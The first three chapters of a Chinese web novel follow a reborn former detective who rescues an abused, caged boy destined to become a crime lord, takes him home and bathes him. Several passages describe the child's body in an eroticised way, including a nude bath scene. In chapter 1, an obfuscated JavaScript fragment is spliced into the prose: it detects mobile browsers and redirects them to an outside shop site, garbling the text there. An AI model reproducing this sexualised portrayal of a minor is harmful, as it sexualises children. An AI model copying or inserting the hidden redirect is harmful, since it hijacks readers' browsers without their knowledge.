《别做黑莲花行不行》 1. 第 1 章 城西棚户区的清晨被汽车的咆哮声撕裂。 轮胎碾过污水横流的路面,窄巷两侧挤满违章搭建的铁皮屋,空气中弥漫着食物腐烂和廉价香烟混杂的气味。 蝴蝶门向上掀起,路旻跨出驾驶座,定制皮鞋毫不犹豫踩进浑浊的积水里。 几个蹲在墙角抽劣质香烟的混混抬起头,眼神从警惕变成错愕。 “操,这他妈……” “法拉利开进棚户区?拍电影啊?” 路旻没理会那些目光。 而是径直走向巷道最深处的那间铁皮屋—— 没人知道,这座贫穷的城中村里,会诞生犯罪史上最恶劣的罪犯。 他的档案堪称完美,名校毕业,继承合法遗产,创立跨国贸易公司,热衷慈善,是媒体笔下的青年楷模。 然而,在看不见的阴影之中,他是东南亚公认的犯罪教父,他不亲自持枪,却用资本和情报浇灌冲突,他名下没有一家非法工厂,却能通过错综复杂的离岸公司与代理网络,让军火送到每一个战场。 前世他追捕应郁怜十年,曾无数次潜入这座迷宫般的城寨,每一次都是为了搜捕,追踪,设伏。 但这一次不同。 他重生回到了一切开始之前。 这一次,他要将应郁怜这个犯罪教父提前扼杀在摇篮。 路旻一脚踹开铁皮屋虚掩的门。 门撞在墙上,霉味,血腥味,劣质酒精的酸腐气息扑面而来。 光线昏暗,仅有门缝漏进的一缕天光照亮空中浮尘,也照亮了地上零星散落的一些玻璃碎片,边缘锋利,混杂在污水泥泞中。 昏暗光线里,屋子正中央摆着一个锈迹斑斑的狗笼。 他往里走。 皮鞋的鞋底陷入某种黏腻的泥泞,发出令人不适的“噗嗤”轻响。 紧接着,脚尖踢到了一个略有弹性的阻碍。 他低头。 昏暗中,一小团暗红色、近乎发黑的、质地不明的软组织物,黏附在他锃亮的鞋尖。 那颜色和形态,绝非泥土。 路旻的眉头骤然锁紧。 没有丝毫犹豫,他猛地抬脚,鞋尖在门框边缘用力一磕—— “嗒。” 那团东西被甩脱,滚落进旁边的阴影里,无声无息。 他重新抬起头,目光盯着笼子。 现在他的眼睛适应了昏暗,看得更清晰了些。 笼子深处,那团最初被误认为是堆积破布的阴影……似乎动了一下。 不,不是破布。 是个人影。 几乎看不出人形,却让他感到一丝熟悉。 ……应郁怜? 路旻眯起眼,下意识地想要否定。 应郁怜天生就是恶魔的胚子,就算现在这个时间点,应郁怜只是个孩子,也该在泥泞里□□烧,用孩童的天真包裹着剧毒的心肠。 而不是被关在笼子里,被当成货物或是动物对待。 应郁怜那种人,怎么可能过的这么惨。 “这里还有和你一样大的小孩吗?” 路旻踹了一脚笼子。 笼子里的少年动了一下。 缓慢地,像生锈的机器,他抬起头。 脏污的长发滑开,露出的脸苍白而瘦削,却意外地勾勒出一种脆弱的精致。 眼窝深陷,让那双眸子显得更大,更幽深,里面晃动着微弱的水光,像蒙尘的琉璃,干裂的唇上沾着暗红的血痕,唇形却姣好分明,此刻因为疼痛或别的细微地颤抖着,仿佛在无声邀请着什么。 他的皮肤很薄,在昏光下几乎能看到淡青的血管,脖颈的线条细长脆弱,仿佛一只手就能轻易环握,折断。 每一份苍白与脆弱,都奇异地混合成一种易碎有引人靠近的颓靡。 他的美是折断的,沾着污迹的,却因此更加触目惊心,让人挪不开眼。 路旻目光向下滑去。 破布般的衣服早已失去原本的形态,松垮地挂在嶙峋的街头,领口斜斜滑落。 衣服下摆破烂不堪,隐约露出一截窄瘦的腰腹轮廓,而更下方…… 一只沾满污泥的脚从裤腿破损处露了出来。 脚踝纤细得不盈一握,踝骨微微凸起一个诱人拿捏的弯,仿佛稍一用力就能圈住,留下印子,趾头微微向内蜷着,泛着淡淡的粉,有一种无言的,易于掌控的顺从感。 少年没有说话,只是用黑漆漆的眼睛隔着栏杆盯着男人。 路旻没有那么多耐性和时间等待,多待一刻都有可能影响计划的实施。 他继续向前走,皮鞋碾过潮湿的地面。 ——这不是他要找的人,只是一个被折磨殆尽的可怜虫。 他冷硬的目光已经准备从笼子移开,扫视这间屋子的其他角落,寻找那个“真正”的,该在此刻就已经显露出獠牙的恶魔。 就在他的视线掠过笼子边缘,即将彻底转向的刹那—— 余光捕捉到了一抹暗色。 在少年那截从衣领歪斜露出的,瘦骨嶙峋的锁骨凹陷处。 路旻的脚步猛地刹住。 身体比思维更快地回转。 他一步跨回笼边,近乎粗暴地俯身,手指抓住冰冷的栏杆,视线死死地钉在那处皮肤上。 看清了。 脏污之下,那枚玫瑰形状的红色胎记,如同一个艳丽诡异的烙印。 前世他曾用刀将这朵玫瑰撕裂成两半,在应郁怜的锁骨上留下一道永远无法消除的刀痕。 他的眼睛很大,却空洞得可怕,里面盛满了纯粹的恐惧。 看到路旻靠近,他像受惊的小动物一样猛地向后缩去,脊背撞上铁笼,发出哐当一声闷响。 他浑身开始发抖,那是一种无法控制的,源自骨髓的瑟缩。 他不敢完全抬头,只能将脸更深的埋进臂弯,只从脏污的发丝缝隙中,用尽全部勇气,向那唯一的光源处——打开的门口,极快地瞥去一眼。 逆着那缕浑浊的天光,他看到一个高大的黑色剪影。 那个逆光的身影没有动,只是沉默地看着他。 这种静止比直接的暴力更让人心慌。 他要做什么? 少年混乱地想。 是那些人的新老板?还是来……挑“货”的? 少年瘦削的肩膀猛地一颤,指尖没入掌心,可疼痛依然无法抚平他的恐惧。 那些混混马上就要回来继续折磨他了。 而他永远也无法离开这里。 心念刚动,铁皮屋外传来杂乱的脚步声。 “他娘的,那个不长眼的车堵在巷口。” 粗粝的噪音伴随着铁棍拖地的刺耳声响。 几个混混涌了进来,为首的是个刀疤脸,手里拎着根缠着铁丝的水管。 刀疤脸的目光在路旻身上扫了一圈,最后落在那块腕表上,眼神瞬间变得贪婪。 “哟,哪来的公子哥?” 他咧嘴笑,露出一口黄牙, “走错地方了吧?” 路旻缓缓站起身。没说话。 他只是抬手,用手漫不经心拍掉大衣沾上的灰尘,眼神瞬间就冷了下来。 刀疤脸被他这态度激怒了: “妈的,跟你说话呢!” 他挥了挥水管, “哥几个,教教这位少爷什么叫城寨的规矩——先把表和车钥匙拿了!” 几个混混狞笑着围了上来。 在第一个人伸手抓路旻手腕的瞬间—— 路旻动了。 反手扣住对方虎口,一拧一拽,咔嚓一声脆响伴随着惨叫,另一个挥拳砸来,路旻侧身避过,手肘猛击对方肘下,骨头断裂的声音清晰可闻,还有一个掏出了刀,刀刃还没有完全弹开,路旻已经一脚踹在他的膝盖弯。 几秒之内。 所有人都在地上哀嚎。 而路旻甚至没有弄皱大衣下摆。 他弯腰,从那个抱膝惨叫的混混手里捡起了刀,在指尖转了转,然后抬眼看向刀疤脸。 “规矩?” 他轻声说,声音里带着前世追凶十几年,特有的冰冷的压迫感: “什么规矩,说来听听?” 刀疤脸脸色发白,额头渗出冷汗。 他看着地上呻吟的手下,又看向路旻那一身与棚户区格格不入的昂贵衣着和慑人气质。 “大,大哥……” 刀疤脸喉结滚动,声音发干,挤出一个扭曲的,试图讨好的笑容, “误会,都是误会!都是小弟我眼瞎……” 路旻打断了他: “少废话。” 他的声音没有起伏,却让刀疤脸猛地一抖。 “应郁怜在哪儿?” 就算看见那个红色的胎记,他依然难以相信那人就是应郁怜。 或许只是单纯的相似…… 刀疤脸愣了一下,他急急地侧身,用手里那根缠着铁丝的水管虚指了一下锈蚀的铁笼,语速飞快, “就是这小子!这小子我们刚弄来,还没训好,是不太像样……但,但您要是看得上,您带走!随便使唤!” “年纪小,骨头软,教什么会什么……真的!只要您高抬贵手,这小子就是您的了,就当小弟我孝敬您!” 路旻却不再看他。 他握着刀的手指几不可察地收紧了一瞬。 刀疤脸这番急于脱罪,献宝似的污言秽语,打破了他之前有着凛冽杀意和些许错愕笼罩的思绪。 不是为了同情,而是某种更深层次的,令人窒息的认知—— 笼子里那个颤抖的,几乎不成人形的生命,就只是这样一个可以随意处置,用来交换利益的“玩意儿”,竟然真的是应郁怜…… 十年后将整个s市搅得天翻地覆的犯罪组织首脑,竟然有着这样一段过往? 刀疤脸的谄媚在耳畔嗡嗡作响,身体在意识前一步先做出了回应。 他一脚踹在了笼门上,用那把廉价的刀“咔”一声撬开了铁笼锈蚀的锁扣。 笼门吱呀打开。 少年蜷缩在最深处,浑身发抖。 路旻伸出一只手。 那只手上戴着七位数的腕表,指甲修建得一丝不苟,此刻却沾染着污垢。 “出来。” 他说。 少年没动,只是勉强扯出一个微笑。 路旻一怔,想起前世收到的某张卡片: “路警官,今天路过城西的棚户区,看见有人把小孩关在笼子里卖,有趣的是,那孩子还在笑——您说,要经历多少绝望,才学会用笑容来讨好施虐者?” “操。” 路旻低骂一声,猛地转过身。 他在原地站了整整一分钟,胸腔里翻涌的情绪几乎要炸开——恨意,愤怒,某种粘稠的恶心感,还有前世十年纠缠留下的,病态到连他自己都不愿承认的执念。 接着,他做了个连自己都无法理解的动作。 他收回按枪的手,在大衣口袋里翻找。 纯金卡夹,一沓黑卡,私人印章——没有一样是该出现在这里的。 最后,在内袋角落里,他摸到了一个小塑料纸包装。 是昨天在警局离职时,送别他的同事塞进他口袋里的糖。 草莓味的,有着一股甜腻腻的香味。 路旻盯着手里那团黏黏糊糊的东西,觉得自己重生时可能撞坏了脑子。 但他还是走回笼子前。 蹲下身,与少年平视。 “喂,” 他的声音哑得厉害,把糖从铁栏缝隙塞进去。 “出来。” 少年没接,只是盯着他。 路旻别开视线。 “跟我走,” 他说,每个字都像从喉咙里硬扯出来, “以后不用待在这种地方。” 路旻也不催,就那么伸着手。 漫长的几十秒后,一只瘦得皮包骨的手,颤巍巍地,搭上了他的掌心。 冰凉,幼小,柔软。 路旻收紧手指,把人从笼子里拉出来。 少年站不稳,踉跄着栽进他的怀里——太轻了,轻得像一把随时会散架的骨头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048858|194781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他脱下大衣,裹在少年身上。 昂贵的羊绒面料瞬间被污垢染脏,但他却毫不在意。 他半扶半抱地,带着人往门口走。 刀疤脸和几个混混还堵在那里,但是没人敢动。 路旻走揽着少年,头也不回地走出铁皮屋。 巷口那辆暗红色法拉利在黄昏光线下泛着冷硬的光泽,路旻拉开副驾驶车门,把少年安顿进去,动作竟有积分不易察觉的僵硬——他前世开惯了警车,这种超跑座位低得离谱。 他自己坐上驾驶座,引擎咆哮着启动。 倒车镜里,那几个混混还站在铁皮屋门口,像一群被冻住的雕像。 路旻挂挡,踩油门。 车子冲出巷子时,他瞥了一眼副驾驶上的少年。 那人裹着他的大衣,缩在真皮座椅里,只露出一双眼睛——正静静地看着他,眼神里有警惕,有茫然,还有一丝路旻看不懂的,幽深的东西。 而少年此刻也在盯着路旻,手腕上被抓握的地方,还残留着一圈陌生的,不属于这阴冷世界的温度。 他以为这个突然出现,可怕又厉害的男人,在打完架后就会像以前那些偶尔闯入这片泥潭的“外人”一样,要么惊慌失措地逃跑,要么变成新的施暴者。 他已经缩起了肩膀,准备迎接熟悉的疼痛。 可是没有。 男人把他拉了出来,用带着陌生香气的大衣裹住了他,然后带他离开了那个锈蚀的铁笼和污浊的空气。 他不明白。 冰冷的手指在大衣袖子里,下意识地更紧地蜷缩起来,牢牢握住那片偷偷捡来的,边缘锋利的碎玻璃。 坚硬的触感和细微的刺痛从掌心传来,这是他唯一熟悉且能理解的东西。 除此以外,一切——飞驰的景色,身下柔软的座椅,旁边沉默的男人——都陌生得让他恐惧,比黑暗的笼子更让他无所适从。 路旻收回视线,握紧方向盘。 他知道自己大概是昏了头。 把一个前世的宿敌,一个未来的犯罪教父带在身边,还居然是用一辆法拉利从棚户区里“捡”回来的。 后悔吗?当然。他前世十年的血泪追缉,那些堆积如山的案卷和破碎的家庭,难道就因为看到那小子缩在笼子里发抖的样子,就全部作废了? 路旻的嘴角扯出一个没什么温度的弧度。 救都救了,现在总不能一脚把人踹下车。 他瞥了一眼身旁蜷缩的身影,那孩子连呼吸都轻得几乎听不见。 ……先带回去看看,养两天。 如果……如果他骨子里真的已经烂透了,如果他流露出一丝一毫属于未来那个“应郁怜”的阴毒苗头…… 路旻搭在方向盘上的手指,微微地收拢了一下。 那就到时候,再处理掉。 车子驶出棚户区,汇入来来往往的车流。 少年裹在过于宽大的大衣里,几乎被柔软的羊绒吞没。 他小心地,极缓慢地抬起眼睫,透过脏污纠结的发丝缝隙,看向驾驶座上的男人。 路旻的目光看似专注路况,余光却锁着身旁这具脆弱躯壳。 审视,权衡。 半晌,他开口,声音被引擎声压得很低: “叫什么名字?” 问题来得突然。 少年瑟缩了一下,瘦削的肩膀微微耸起,像是要缩进不存在的壳里。 他嘴唇动了动,却没发出声音,只是把脸更深地埋进带着陌生冷冽香气的大衣领口。 路旻等了片刻,指尖在方向盘上轻轻敲了一下,没什么耐性,但也不算催促。 “……没有名字。” 许久,一个嘶哑的,气若游丝的声音从大衣领子里漏出来,带着长久不开口的滞涩和一种空洞的麻木, “他们都叫我杂种。” 路旻搭在方向盘上的手指瞬间收紧。 这个充满凌辱意味的称呼,扰乱了他此刻本就晦暗的心绪。 恨意依旧盘踞,但另一种更尖锐的东西刺了一下——是了,在成为“应郁怜”之前,他连一个像样的名字都不配有。 “本名呢?” 路旻的声音依旧没有什么温度,但追问的姿态本身,在这个刚刚脱离魔窟的时刻,显得有种异样的执着: “父母给的名字,还记得吗?” 少年似乎颤抖的更厉害了些。 父母? 那是个比“杂种”更模糊,更遥远的词,几乎不承载任何温暖或者具体的形象,只剩下一片空白和随之而来的,本能的恐惧。 他用力摇头,脏发擦过大衣,发出细微的簌簌声。 又过了令人窒息的漫长几秒,就在路旻以为得不到答案,准备将“应郁怜”这个名字强行按上去的时候—— 少年极轻地,不确定地吐出一个音节: “……怜” 像是怕自己记错,或者怕这个音节本身会带来新的伤害,他立刻又补充,声音低得几乎被引擎声吞没: “好像……很久以前,有人这么叫过一下。” 语气里没有丝毫怀念,只有不确定的茫然,仿佛在说一件与自己无关,道听途说的事。 路旻没再继续追问“应”姓从何而来,那或许涉及另一段更为不堪的过去。 他只是极淡地点了一下头。 “你以后就叫应郁怜。” 他说着,目光盯着前方,语气里听不出什么温度,更像是在陈述一个事实。 “我会养你到长大。” 话音刚落,他便从眼角的余光里,瞥见副驾驶那团裹在大衣里的身影微不可察地颤了一下。 然后,他听到一个声音。 很轻,嘶哑的厉害,像是从干裂地缝隙里勉强挤出来的,带着一种小心翼翼的,几乎无法被察觉的试探,像是一只被拎出巢穴的幼兽,在极度惊恐中发出的一声虚弱的呜咽,连爪子都不敢真正亮出来。 “……跟着你,” 应郁怜声音顿住,仿佛用尽了力气才挤出后半句, “……能有饭吃吗?” 2. 第 2 章 车子滑入地下车库,忽然的安静放大了应郁怜小心翼翼的呼吸声。 路旻的回答——“有。” 在那双湿漉漉的黑眼睛里激起一圈微弱的涟漪,随即又迅速被更深的不安淹没。 应郁怜不再说话,只是把脸更深地埋进带着陌生气息的衣料里,只露出一小片苍白的额角和轻轻颤动的睫毛。 路旻没再看他,利落地解开安全带,推门下车。 骤然涌入冷空气让应郁怜瑟缩了一下。他抬起眼,望向车门外逆光站立的高大身影,又迅速垂下,视线落在自己从大衣下摆露出沾着泥污的脚上,和脚下干净得反光的地面之间。 “下来。” 路旻的声音没什么起伏,听不出催促,也听不出耐心。 应郁怜笨拙地挪动身体。 离开了笼子和那间污浊的铁皮屋,离开了飞驰的车里,双脚即将真正踏入一个全然未知的、属于这个男人的领地,这个认知让他每一根神经都绷紧了。 他扶着车门框,试图站稳,光裸的脚趾因为紧张和寒冷微微蜷缩着,踩在冰冷的地面上,激起一阵细微的战栗。 路旻的目光掠过那双脏污的脚,和脚踝上依稀可见的陈旧淤痕,眉头几不可察地蹙了一下。 他没说什么,只是转身朝电梯走去。 应郁怜迟疑了一瞬,终于迈开脚步,踉跄地跟了上去。 羊绒大衣的下摆拖曳在地,发出轻微的摩擦声,他走得很慢,努力想跟上,却因为虚弱而显得步履蹒跚。 路旻在电梯前停下,按下按键,他走进去,转过身,看着那个还在几米外艰难挪动的瘦小身影。 应郁怜对上他的视线,脚步几不可察地顿了一下,随即加快了速度,几乎是踉跄着小跑了几步,在电梯门即将关闭前挤了进去。 惯性让他差点撞在路旻身上,又在最后一刻险险刹住,脊背紧贴着冰凉的轿厢壁,低着头,胸口因为轻微的喘息而起伏。 电梯平稳上行,数字不断跳动。 密闭的空间里,只有机械运行的轻微嗡鸣,和两个人近在咫尺却又仿佛隔着无形屏障的呼吸。 应郁怜几乎能闻到男人身上传来的、一种冷冽又干燥的气息,混合着极淡的烟草味和车载香氛残留的味道,与他熟悉的污浊、血腥和霉味截然不同。这陌生感让他更加无措。 他悄悄抬起一点眼睫,从脏污纠结的发丝缝隙里,偷瞄了一眼身旁的男人。 路旻正看着电梯门上方的数字,下颌线绷着,没什么表情,却无端给人一种沉重的压迫感。 他与这个地方一样,干净、昂贵、冰冷,不容侵犯。 应郁怜迅速收回目光,心脏在单薄的胸腔里擂鼓。 他忍不住又攥紧了掌心的碎玻璃。 “叮。” 顶层到了。 电梯门再次无声滑开,露出另一段铺着柔软地毯的走廊,光线温暖昏暗,空气里飘着极淡的、洁净的香氛气味。 公寓门是指纹锁,路旻按下,厚重的门打开,干燥洁净的空气涌出,与两个身上带来的棚户区阴冷污浊的气息格格不入。 应郁怜站在门口,看着光可鉴人的大理石地面,昂贵的家具,整面墙的落地窗外璀璨的城市夜景…… 他像是误入了另一个城市的尘埃,连呼吸都下意识屏住了,脚步钉在原地,不敢踏入。 “进来。” 路旻脱下了沾染了污迹的外套随手仍在玄关的椅子上,回头看他,语气是不容置喙的命令, “把鞋脱了。” 应郁怜低头看了看自己那双破烂不堪,沾满泥污的鞋子,又看了看干净得没有一丝灰尘的地板,脸上掠过一丝惶恐和难堪。 他笨拙又踉跄地单脚站立,试图解开根本不算鞋带的破烂布条。 路旻看了两秒,眉头蹙起,终于还是走了过来,在应郁怜面前蹲下。 这个动作让应郁怜猛地后退了半步,后背装在门框上,惊慌地看着他。 “别动。” 路旻声音没什么起伏,手上动作却利落,直接帮他解开了那堆破烂,将两只脏污得看不出原本颜色的鞋子脱下,扔进了门外的垃圾桶。 然后他拿出了一双干净的拖鞋。 冰凉的指尖无意间滑过应郁怜脚踝那处伶仃的凹陷,凉的少年轻轻一颤。 路旻的手指随即按住他的脚背,缓慢地将鞋子一寸一寸推上去。 他靠得近,呼吸若有若无地拂过少年裸露的小腿内侧,带着与外面冷空气截然不同的温热。 “抬一下。” 路旻声音很低,手指已经卡进鞋后跟与脚跟的缝隙里。 指关节不可避免地抵压在那最柔软脆弱的皮肤上。 应郁怜几乎是条件反射般地顺从,微微抬起脚,那向上推的动作缓慢而磨人,带着一种不容拒绝的力道,直到鞋跟完全贴合。 路旻的手离开了,只是指尖不小心刮过对方凸起的踝骨。 然后他才直起身,目光顺着少年细瘦的腿一路上移,最后停在应郁怜脸上——那张苍白的脸不知何时泛起了一层不正常的薄红,连耳尖都染上了颜色。 路旻眉头蹙得更紧,下意识地伸出手,用手背贴了贴少年的额头。 触感只是温热,并不烫手。 “你发烧了?” 他问。 “没……没发烧。” 应郁怜被那带着凉意的手背冰得抖了一下,声音细若蚊蚋,头垂的更低,几乎要埋进胸口。 那红晕更明显了,却并非病态,更像是一种无所适从的羞赧,混杂着对如此近距离接触的恐慌。 他以为…… 男人会和他见到的那些人一样,买他回来也是为了下三路的事…… 却没想到,对方真的只是单纯给自己穿了个鞋子而已。 路旻收回了手,审视了他两秒,确认不像是生病,便不再探究。 或许只是这陌生环境带来的应激反应。 “那就过来。” 他不再多言,转身示意少年跟上,走向浴室 “衣服脱了,自己洗,还是我帮你?” 路旻打开热水调试温度,语气平淡得像在问:“吃饭还是吃面”。却让应郁怜瞬间白了脸。 “我……我自己……” 他声音发颤,指节用力到发白,却吃吃没有动作,眼神惊恐地瞟向路旻,又飞快地垂下,身体细微地发抖。 路旻等了几秒,看出他的恐惧和可能连自己完成清洗的力气都没有,不再废话。 “转身。 ” 他走上前,不容拒绝地解开那件破旧外套的扣子,动作既不温柔,但也没有刻意的粗暴,只是效率极高。 应郁怜像一尊僵硬的木偶,任由他摆布,牙齿死死地咬住下唇,几乎要咬出血来,浓密的眼睫颤抖着垂下,遮住了眼底翻涌的羞耻和恐慌。 脏污的外衣,单薄的里衫,破了好几个洞的裤子……一件件剥落,堆在光洁的地砖上。 随着最后蔽体的衣物离开,少年苍白瘦削的身体完全暴露在空气和灯光下。 路旻的目光骤然一凝。 瘦,是他早就知道的。 但此刻亲眼所见,那嶙峋的肋骨随着细微的呼吸起伏,凹陷的腰腹在氤氲水汽中勾勒出的弧度,四肢纤细苍白,关节处泛着淡淡的粉。 然而真正攫住目光的,是那冷白底色上肆意蔓延的伤痕。 它们并非简单的淤青或破口,更像是诡谲的藤蔓缠绕着这具年轻的身体。 一些是沉郁的紫,另一些则是艳丽的红与淤青,边缘微微肿起,在温热的水流拂过时,引得那片肌肤难以自抑地轻颤。 但当他目光下移,落在少年腿间和臀腿的区域时,动作几不可察地顿了一下。 那里……相对干净。 除了几处似乎是挣扎躲避时撞出的淤青,并没有预想中某些特定类型的伤痕或痕迹。 这个发现让路旻一直紧蹙的眉头略微松了一瞬,但随即又拧得更紧——这并不意味着遭遇更好,或许只是还没来得及发生,刀疤脸的那些污言秽语瞬间回荡在耳边。 热水已经放好,蒸腾起雾气。 路旻收回审视的目光,不再迟疑,将瑟瑟发抖的少年直接抱进宽大的浴缸。 温热的水流瞬间包裹住冰冷的身体,应郁怜猛地一颤,喉咙里溢出一生极轻的抽气。 “坐好。” 路旻挽起袖子,拿过沐浴露和柔软的浴球,他没有想过假手他人,而是亲自开始给这具伤痕累累的身体清洗。 动作起初有些生硬,毕竟前世今生,他都没有这么“伺候”过人,尤其是这人还是应郁怜。 但很快,前刑警惯有的冷静和效率占了上风,他尽量避开明显的伤口,快速而彻底地清洁那些污垢。 泡沫滑过瘦削的肩背,凸起的脊椎骨节分明。 路旻的手带着薄茧,力度控制爱不会弄疼他,但也绝对不容抗拒的范围内。 应郁怜始终僵硬着,头深深埋着,黑发湿漉漉地贴在脸颊脖颈,身体因为羞耻和某种更深的不安而微微战栗,却没有再挣扎,只是偶尔在水流或者路旻的手碰到某些较深的伤口时,会无法抑制地痉挛一下。 浴室里只有水声和细微的摩擦声。 路旻沉默地清洗着,直到大部分的污垢被除去,少年的皮肤逐渐显露出原本的颜色,只是那些伤痕也更加清晰地凸显出来。 冲洗泡沫时,路旻的目光再次扫过那些伤,尤其是几处较新的,皮肉翻卷的伤口。 他忽然开口,声音在哗啦水声中显得有些低沉: “这些伤,怎么来的?” 应郁怜身体一僵,没有回答。 路旻并不期待他立刻回答,只是用湿漉漉地手抬起他的下巴,迫使他看向自己。 那双总是带着恐惧的大眼睛里,此刻水雾缭绕。 “说话,谁打的?为什么打你?” 少年的嘴唇翕动了几下,路旻看到了那快要裂开的纹路,他拿起一边的热水,抬起应郁怜的下巴,像小时候喂猫一样,一滴滴用热水浸润那干裂的唇瓣,露出那脆弱的红色。 他的眼神飘忽,似乎陷入了某种可怕的回忆,声音细碎而颤抖: “爸爸……卖的,他们……关着要……” “要什么?” 路旻追问,语气却放轻了更多,缓解那不容回避的压力。 应郁怜猛地摇头,眼泪毫无预兆地大颗滚落,混合着热水滚下。 “……我不肯……打我……关起来……” 他语无伦次,破碎的词句里充满了绝望的抗拒和恐惧, “妈妈……妈妈被爸爸……打死了……然后卖我……我不去……我不……” 路旻扣着他下巴的手指微微松了松力道。 妈妈被打死,被父亲卖掉,因为抗拒“接客”而被殴打拘禁。 寥寥数语,拼凑出一个悲惨的故事。 这也解释了为什么他身上的伤多是虐待而非其他,也解释了刀疤脸那番话的由来——货物不听话,需要“训”。 他松开手,继续用温水冲洗少年身上的泡沫,动作比之前缓和了许多。 所以,是因为他来了,那些更不堪的事情,才没来得及发生。 这个认知,像一颗坠入深潭的石子,在他冰冷晦暗的心虚里,激起一圈难以言喻的涟漪。 他是该庆幸这个前世的恶魔,今生至少免于了这种摧残?还是更讽刺于他竟沦落至斯? 路旻不再追问,他将洗干净,却因为长时间温热浸泡和情绪波动而有些虚软的少年从水里捞出来,用宽大柔软的浴巾整个裹住,擦干。 然后,他发现了问题——那只一直紧握在,藏在浴巾下的右手。 几乎不需要思考,前刑警的本能和观察到的细节瞬间在脑海中串联。 铁皮屋昏暗光线下,地上那些散落的玻璃碎片,少年被从笼中拉出时,那只曾紧紧抓住他的手腕,之后便一直下意识缩着的右手。 棚户区笼子旁最有可能被少年随手捡到,切能造成足够威胁的…… 只能是玻璃,那些碎片中的一片。 路旻眼神沉了下来,他没有直接靠近,而是微微起身,修长的身影被灯光拉长,恰好将蜷缩在男人怀里的少年笼罩在一片带着压迫感的阴影里。 裹在他浴袍里的少年,立刻像受惊的含羞草,整个人又往里缩了缩,却忘了抱着他的就是路旻,往回缩,非 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“用你手里的东西,换这个。” 他声音平稳,目光紧紧地锁着应郁怜,不容许少年的任何闪躲。 “把玻璃给我,糖就是你的。” 应郁怜的视线瞬间被那颗糖钉住了。 他没见过这样的东西,但那隐约透出的、甜腻的香气,却唤醒了一种久远到几乎遗忘的、关于“好”的模糊本能。 渴望在他眼底清晰涌现,却又被更深的疑虑和恐惧狠狠压制。他看看糖,又迅速瞥一眼路旻,手指在袖子里绞得更紧,指节泛出青白色。 路旻很有耐心地等待着。 他甚至微微向后,靠在了沙发背上,长腿交叠,姿态松弛下来,减少着自己的攻击性。 只是那目光,依旧沉沉地落在少年脸上,带着审视,也带着一种等待猎物自己走入笼口的平静。 时间一点点流逝,只有空调细微的风声和彼此轻不可闻的呼吸。 终于,路旻动了。 他伸出手,不是去拿糖,也不是去抓应郁怜的手,而是用修长的手指,慢条斯理地开始剥开那颗糖的包装纸。 塑料纸摩擦发出细碎的声响,在寂静中被无限放大。 甜香,更加浓郁地弥漫开来。 当那颗晶莹的、透着诱人粉色的糖球完全暴露在空气中时,路旻用指尖拈着它,递到了离应郁怜更近一些的地方,几乎要碰到他浴袍的袖口。 “甜的。” 他低声说,语气平淡,却像带着钩子, “可以尝尝。” 这个动作,这香气,这近在咫尺的、仿佛触手可及的“甜”,成了压垮应郁怜紧绷神经的最后一根羽毛。 他的呼吸急促了一瞬,喉结上下滚动,长期饥饿与孩子天性中对糖果的向往,冲垮了部分摇摇欲坠的防线。 他死死盯着那颗糖,又像是下了极大决心般,飞快地抬眼看了一下路旻。 男人的脸上没什么表情,没有催促,没有威胁,只是平静地等待着。 终于,应郁怜极其缓慢地,将那只一直藏在身后的右手挪了出来。 动作僵硬,仿佛那只手有千斤重。他摊开掌心——小小的、瘦削的掌心,布满新旧伤痕,此刻,几道新鲜的、还渗着血丝的割痕中央,静静躺着那片边缘锐利的碎玻璃。血迹和污渍混在一起,衬得那玻璃片越发冰冷刺目。 他没有直接把玻璃递过来,而是摊着手,用那双湿漉漉的、带着最后一丝不确定和哀求的眼睛,看向路旻。 路旻读懂了。 他捏着糖的手指向前,轻轻碰了碰应郁怜摊开的掌心边缘,然后将糖球放在那片干净的皮肤上。 “你的了。” 微凉的糖球触及皮肤的瞬间,应郁怜像被烫到般猛地一颤,随即以迅雷不及掩耳的速度合拢手指,将糖牢牢攥在左手里。 与此同时,他的右手也向前送了送,将那片染血的玻璃,彻底呈现在路旻眼前。 路旻这才伸出两指,精准地捏住玻璃无刃的根部,将它从少年汗湿的掌心取走。 交接的刹那,他的指尖不可避免地擦过对方湿冷黏腻的皮肤,感受到那细微的、无法控制的颤抖。 玻璃被放入玻璃烟灰缸底,发出一声清脆却沉闷的“叮”。 路旻的注意力却很快回到了应郁怜的右手。掌心被割破的口子需要处理。 他拿过医药箱,在少年身边坐下。 这一次,应郁怜没有剧烈反抗,只是身体依旧僵硬,左手里紧紧攥着那颗糖,像是握着唯一的浮木。 消毒药水触碰到伤口时,应郁怜疼得倒抽一口冷气,眼眶瞬间红了,泪水在里面打转,却死死咬着唇没让它们掉下来。 路旻握着他手腕的力道稳定,上药包扎的动作快而利落。 “疼就抓着。” 路旻瞥了一眼他紧握糖的左手,淡淡道。 应郁怜愣了一下,随即真的更用力地握紧了左手,仿佛那颗糖真能传递给他忍受疼痛的力量。 包扎完毕,路旻松开他,收拾东西。 应郁怜立刻把受伤的右手也缩回袖子里,整个人蜷起来,低头看着自己被纱布包裹的掌心,又看看左手里那颗糖,神情有些怔忡,像是不明白这场交换到底意味着什么。 路旻站起身,居高临下地看了他片刻。 少年湿发垂落,脖颈纤细,浴袍松垮,露出一段伶仃的锁骨和其下那枚刺眼的红色胎记,脆弱得不堪一击,却又带着某种奇异的、引人摧毁或占有的美感。 “糖可以吃。” 路旻开口,声音听不出情绪, “玻璃,” 他目光扫过烟灰缸, “我放在这里。它伤不了别人,也护不住你。” 他转身走向卧室,留下应郁怜独自在客厅里。 应郁怜慢慢摊开左手,那颗草莓糖静静躺在汗湿的掌心,甜香丝丝缕缕,钻进鼻腔。 他看了很久,然后极其缓慢地,伸出舌尖,轻轻舔了一下。 好甜。 一种陌生到让人心慌的甜。 3. 第 3 章 夜晚,玄关处亮起的瞬间,路旻就察觉到了不对劲。 客厅有着微弱的昏黄灯光。 他告诉过应郁怜不要等他回来。 那这又是谁? 路旻摸向柜子,拿出了里面的刀。 是他还是警察时的仇家,还是那群混混贼心不死找上门来? 小刀在他的指尖翻飞,他盯着那处,漫不经心地想。 